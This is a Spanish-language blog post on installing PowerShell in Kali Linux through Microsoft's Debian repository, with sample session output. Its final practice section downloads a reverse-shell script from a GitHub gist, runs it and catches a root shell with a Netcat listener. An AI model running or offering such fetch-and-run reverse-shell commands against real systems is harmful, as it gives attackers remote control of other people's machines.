POWERSHELL EN KALI LINUX, COMO INSTALARLO

0
powershell

POWERSHELL EN KALI LINUX, COMO INSTALARLO

Vamos a instalar powershell de windows en Kali Linux, ¿Pero para que nos va a servir eso?… Sinceramente no tengo respuesta a eso, depende mucho de tu imaginacion, yo particularmente buscaba instalarlo  para practicar los comandos de cmd sin la necesidad de tener instalado una version de windows directamente.

PowerShell es una interfaz de consola con posibilidad de escritura y unión de comandos por medio de instrucciones.

Ya sabemos que podemos agregar repositorios externos a la instalación de Kali Linux, pero lo que a lo mejor no sepa es que uno de los muchos repositorios disponibles es uno de Microsoft que incluye PowerShell. El repositorio es para Debian por lo tanto sus paquetes se instalan perfectamente en Kali Linux, como mostramos en este post.

“Para mi Kali es la mejor distribución de linux dedicada al pentesting “

INSTALACION

Empezamos por instalar las dependencias necesarias, más de la que ya debería estar instalado en su instalación de Kali por defecto.

# apt update && apt -y install curl gnupg apt-transport-https

A continuación, tenemos que descargar y añadir la clave GPG de repositorio público APT se confían en los paquetes y avisarle de cualquier problema con las firmas de paquete.

# curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -

Con la llave GPG añadida, procedemos a añadir el repositorio de paquete de Microsoft a su propio archivo de lista de paquete bajo /etc/apt/sources.list.d/ y actualizar la lista de paquetes disponibles.

# echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update

Por último, procedemos a instalar el paquete de powershell.

# apt -y install powershell
Kali linux
Kali Linux ama a windows ? 🤔

COMO USARLO

Cuando se completa la instalación de los paquetes, ejecutar pwsh pondrá en marcha PowerShell, nos presenta el símbolo de “PS” familiar.

root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root>

COMO BUSCAR AYUDA

Si eres nuevo en PowerShell, una de las primeras cosas que probablemente usted querrá hacer es actualizar la ayuda, que se puede hacer ejecutando el Cmdlet Update-ayuda . Esto puede tomar un poco de tiempo para completar pero sólo necesita ejecutar una vez en un tiempo raro.

PS /root> Update-Help 
Updating Help for module Microsoft.PowerShell.Utility 
Locating Help Content...

Como era de esperar, no encontrará todos los comandos que usted está acostumbrado a cuando uso de PowerShell en Windows pero todos los módulos de núcleo están presentes y el código está en constante desarrollo y mejora.

PS /root> Get-Process -Name gnome*

NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-

Practicando un poco 👨‍💻

WINDOWS powershell
Powershell de windows.

Una de las cosas sorprendentes que se puede es utilizar PowerShell para enviar una shell inversa para un oyente Netcat.

root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1 
PS /root> ./mini-reverse.ps1
root@kali:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)

uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux

“Creemos que es notable que, no solamente Microsoft abrió la fuente de PowerShell, han también sido constante actualización y mejora, y tener un repositorio público que facilita la instalación”

🗣 Como ya es de costumbre puedes dejar tus comentarios con dudas o sugerencias, o llenar nuestro formulario, para ideas de próximos post o sugerencias, recuerda compartir cn todos tu amigos para que ello puedan aprender tambien.

CREDITOS

“El conocimiento es libre”